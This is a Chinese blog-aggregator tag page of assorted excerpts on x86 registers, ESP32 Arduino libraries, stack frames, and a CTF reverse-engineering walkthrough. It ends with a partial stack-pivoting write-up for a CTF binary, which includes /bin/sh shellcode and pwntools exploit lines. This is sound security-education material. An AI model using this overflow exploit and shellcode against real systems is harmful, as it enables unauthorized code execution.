esp

计算机是这样工作的

本秂侑毒 提交于 2020-02-09 03:12:12
陈民禾,原创作品转载请注明出处《Linux内核分析》MOOC课程 http://mooc.study.163.com/course/USTC-1000029000 ,我的博客中有一部分是出自MOOC课程中视频,再加上一些我自己的理解。 一、首先在理解计算机是如何工作之前,我们先来理解一下现代计算机的模型。 现代计算机是存储程序计算机,依据冯诺依曼体系结构构造。从硬件的层面,也就是我们从计算机的主板。冯诺依曼体系结构我们可以大概抽象成一个cpu。还有一块可以抽象成内存,cpu和内存有一个连接,我们称之为总线,然后就是cpu内部,cpu里面有个很重要的寄存器,叫做ip,它总是指向内存的某一块区域,比如说它指向代码段,此时cpu就从IP指向的那个内存地址取过来一条指令执行,执行完之后Ip自加一,这样像贪吃蛇一样一步步向下面走,这就是从硬件方面解释的冯诺依曼体系。 二、计算机依靠机器语言进行工作,我们可以通过汇编语言来“指挥”计算机完成一些工作,下面就是一些汇编基础知识,总结如下: X86计算机的寄存器:32位的X86计算机的寄存器,它的低16位作为16位的寄存器,16位的寄存器,它还有8位的寄存器。8位的寄存器包含AH,BH,CH,DH,AL,BL,CL,DL。16位的寄存器包含AX,BX,CX,DX,BP,SI,DI,SP。所有开头为E的寄存器一般来讲是32位的。譬如EAX:累加器

ESP系列 Arduino 相关资料库整理

好久不见. 提交于 2020-02-04 10:13:13
在这里我将不定期更新 ESP 系列 Arduino 相关的资料库链接,如果有链接失效的情况希望大家能及时通过评论通知我,感谢大家! 1. ESP8266 ESP 8266 Arduino Library 2. ESP32 github 上的 espressif/arduino-esp32 官方库 来源: CSDN 作者: BigZombieZ 链接: https://blog.csdn.net/zztiger123/article/details/103595257

一个入门级CTF的Reverse

喜夏-厌秋 提交于 2020-02-02 22:13:56
这道题是XCTF攻防世界上的一道新手入门题目! 年前刚接触逆向时IDA,OD了这些工具都不会用(负基础),当时做这些题的时候觉得挺难(主要是缺少练习,没思路无从下手)。现在回头再来看这些题目感觉确实是入门级的题目,所以逆向是门艺术更是门技术,需要多练习熟悉工具和掌握一些技巧,下面就来分析一下这道题目。 题目给了一个附件是一个exe的可执行文件,那好我们先来执行一下他好了! 结果出来一大堆英文,奈何本人英文真的很菜,高考40分:),浑身发憷,不怕手机自带拍照翻译,虽然翻译的水平很一般但是磕磕绊绊的还是能明白他什么意思: 这是个游戏(游戏规则:把那几个图形都看成灯,当其都亮时,也就是图形变成实心的游戏胜利),你必须把这个游戏过了之后才会得到我们想要的flag。 我们是要通过工具来获得这个flag,当然如果你玩游戏很nb的话你也可以通关他获得flag。 好废话不多说我们现在就来寻找flag! 1. 我们先用PEID分析一下程序的基本信息 可以看到检测到其未压缩,说明此程序无壳。下面我们可以选择用静态分析工具IDA来分析程序,也可以选用动态调试工具Ollydbg。 我们先用IDA来分析吧,因为此程序为32位的所以我们用32位的IDA打开程序。 我们按Ctrl + E弹出入口函数的信息,点击确定进入入口函数。因为此程序是一个控制台程序,所以我们需要找到main函数(处理逻辑在main函数里)

栈工作原理

我是研究僧i 提交于 2020-01-22 00:14:38
【工作过程】 函数调用 Ø PUSH arg [] Ø PUSH EIP Ø PUSH EBP 1、参数入栈:将参数依次压入系统栈中; 2、返回地址入栈:将当前代码区调用指令的下一条指令地址压入栈中,供函数返回时继续执行; Ø EBP = ESP Ø ESP = ESP - K 3、保存当前栈帧的EBP入栈; 4、将当前栈帧切换到新栈帧,ESP值装入EBP,更新栈帧底部; 5、给新栈帧分配空间,把 ESP减去所需空间的大小,抬高栈顶。 函数返回 Ø EAX = rst ESP = ESP + 1 、 保存返回值:通常将函数的返回值保存在寄存器 EAX 中; 2 、 在堆栈平衡的基础上,给 ESP 加上栈帧的大小,回收栈空间; Ø POP EBP Ø POP EIP 3、将当前栈帧底部保存前栈帧EBP值送入EBP寄存器,恢复前栈帧; 4、将函数返回地址送入EIP寄存器。 Ø 恢复堆栈平衡 来源: CSDN 作者: 跃然实验室 链接: https://blog.csdn.net/dyxcome/article/details/104066081

为什么Fun函数能够执行

假如想象 提交于 2020-01-11 23:45:01
#include<stdio.h> #include<windows.h> void Fun() { printf("Kali-Team\n"); } int check() { int arr[4] = {0,1,2,3}; arr[5] = (int)&Fun; return 0; } void main() { _asm{ mov eax,eax; mov eax,eax; } check(); getchar(); return; } 调用check函数前先把004010F1(call下一条要执行的地址)压入堆栈中,当前的ESP为0012FF30,EBP为0012FF80,check函数的地址为00401005。F11单步跟进函数。 因为压入了call下一步的返回地址,所以ESP减4变为0012FF2C,到下面的push原ebp到堆栈中,esp减4,mov将当前ebp改为esp后提升堆栈50h(十进制的80),再保存ebx,esi,edi三个寄存器的值到栈中,esp减12,最后四行为填充CC到缓冲区。 00401070 55 push ebp 00401071 8B EC mov ebp,esp 00401073 83 EC 50 sub esp,50h 00401076 53 push ebx 00401077 56 push esi 00401078 57 push

【ESP32】【Windows 配置】

血红的双手。 提交于 2019-12-27 20:39:42
修改记录: [2019.12.27]:初版。 以下简述配置过程,具体需参见 Espressif. Get Started 。 1. 安装依赖: 下载 ESP-IDF Tools installer ,该工具包含 cross-compilers, OpenOCD, cmake, Ninja build tool, Python 3.7, Git 等 该工具同时也支持下载 release 的 ESP-IDF 版本。 按照提示,默认安装即可。 比如 ESP-IDF 下载至:C:\esp\esp-idf.espressif\releases\esp-idf-v3.3.1。 2. 配置环境变量: 2.1 打开 windows 下的 cmd 工具: 2.2 切换至 ESP-IDF下载路径,如: C:\esp\esp-idf.espressif\releases\esp-idf-v3.3.1。 2.3 执行 >>install.bat 2.4 执行 >>export.bat 配置完成后,正确打印如下: 3. 编译下载: 好啦,接下来可以开始愉快的编译、下载: 3.1 执行 >> idf.py menuconfig 进行串口等相关的配置; 3.2 执行 >> idf.py build 编译当前工程; 3.3 执行 >> idf.py -p PORT [-b BAUD] flash

ESP32的BLE_SPP

China☆狼群 提交于 2019-12-27 13:52:29
最近在捣鼓这个ESP32的BLE的SPP功能,把自己的心得体会写下来,如果有什么不对的地方欢迎大家来留言讨论。 首先是乐鑫官方的源码地址: https://github.com/espressif/espidf/tree/30372f5a4ff2c0dfdaad95f544dc36bcdda30b75/examples/bluetooth/bluedroid/ble/ble_spp_server 这个模式的蓝牙是低功耗蓝牙串口传输,它的工作流程是: 1、初始化蓝牙控制器 ret = esp_bt_controller_init(&bt_cfg); 然后使能蓝牙控制器 ret = esp_bt_controller_enable(ESP_BT_MODE_BLE); 这个ESP_BTMODE_BLE是使能的模式选择,可以是BLE也可以是BT还可以是两者的共存。 2、初始化蓝牙堆栈 ret = esp_bluedroid_init(); 并使能堆栈 ret = esp_bluedroid_enable(); 经过以上两个步骤,蓝牙就已经初始化完成了,是不是很简单。 接下来就是一些回调函数了, 这个是GATT的注册回调函数 esp_ble_gatts_register_callback(gatts_event_handler); 这个是GAP的注册回调函数 esp_ble_gap

IPSec 传输模式下ESP报文的装包与拆包过程 - 择日而终的博客

大兔子大兔子 提交于 2019-12-25 22:51:14
一、IPsec简介 IPSec ( IP Security )是IETF(Internet Engineering Task Force,Internet工程任务组)的IPSec小组建立的一组IP安全协议集。IPSec定义了在网络层使用的安全服务,其功能包括数据加密、对网络单元的访问控制、数据源地址验证、数据完整性检查和防止重放攻击。 IPSec是安全联网的长期方向。它通过端对端的安全性来提供主动的保护以防止专用网络与 Internet 的攻击。在通信中,只有发送方和接收方才是唯一必须了解 IPSec 保护的计算机。在 Windows XP 和 Windows Server 2003 家族中,IPSec 提供了一种能力,以保护工作组、局域网计算机、域客户端和服务器、分支机构(物理上为远程机构)、Extranet 以及漫游客户端之间的通信。 二、ESP简介 IPsec 封装安全负载(IPsec ESP)是 IPsec 体系结构中的一种主要协议,其主要设计来在 IPv4 和 IPv6 中提供安全服务的混合应用。IPsec ESP 通过加密需要保护的数据以及在 IPsec ESP 的数据部分放置这些加密的数据来提供机密性和完整性。且ESP加密采用的是对称密钥加密算法,能够提供无连接的数据完整性验证、数据来源验证和抗重放攻击服务。根据用户安全要求,这个机制既可以用于加密一个传输层的段(如

GDB调试汇编堆栈

半腔热情 提交于 2019-12-25 06:37:12
GDB调试汇编堆栈 准备工作 终端编译工具: 编译64位Linux版本32位的二进制文件,需要安装一个库,使用指令sudo apt-get install libc6-dev-i386 测试代码: test.c 分析过程 1.生成汇编代码:gcc -g gdbtest.c -o gdbtest -m32 2.调试:gdb test 3.设置断点,因为目的是分析而不是调试bug,所以我们将断点设置在main函数 4.开始gdb调试:r(un),如若想获取此时的汇编代码,可用指令:disassemble 5.此时可以用指令查看寄存器的值:i(nfo) r(egisters),显示的格式为3列: 第1列:寄存器名称 第2列:寄存器的地址 第3列:寄存器中存的值 6:结合display命令和寄存器或pc内部变量,做如下设置:display /i $pc,这样在每次执行下一条汇编语句时,都会显示出当前执行的语句。下面展示每一步时%esp、%ebp和堆栈内容的变化: 过程(截图中的指令实际上是待执行指令) 初始 push $0x7 call 0x80483e8 call调用f(0x80483e8) push %ebp 执行f函数,f初始化帧指针,将上一个函数的基址入栈,将当前%esp作为新基址 mov %esp,%ebp 分配栈空间,为传参做准备 pushl 0x8(%ebp) 将

stack pivoting

强颜欢笑 提交于 2019-12-05 10:52:25
stack pivoting 翻为堆栈旋转 操作是利用' jmp esp' 控制程序流程 X-CTF Quals 2016 - b0verfl0w 可以溢出并且没有开启NX 但是这里只允许溢出14位 很难进行rop 那么可以在栈上布置shelcode 现在的目标就是让eip跳到栈上shelcode位置 因为程序本身会开启 ASLR 保护 我们很难知道栈上的地址 又退栈的时候esp相对shellcode偏移可以计算 也就是0x20+p32(_ebp)+p32(ret_addr)=0x28 因为eip会返回到ret_addr 我们将‘jmp esp’ 作为ret_addr 那么 程序就等价于执行ret_addr的下面一个语句 找一下jmp 然后 esp减0x28 然后跳转到esp去执行shellcode from pwn import * io=process('./flow') shellcode= "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode+= "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode+= "\x0b\xcd\x80" # shellcode=asm(shellcraft.sh()) jmp_esp=0x08048504 sub_esp_jmp=asm('sub esp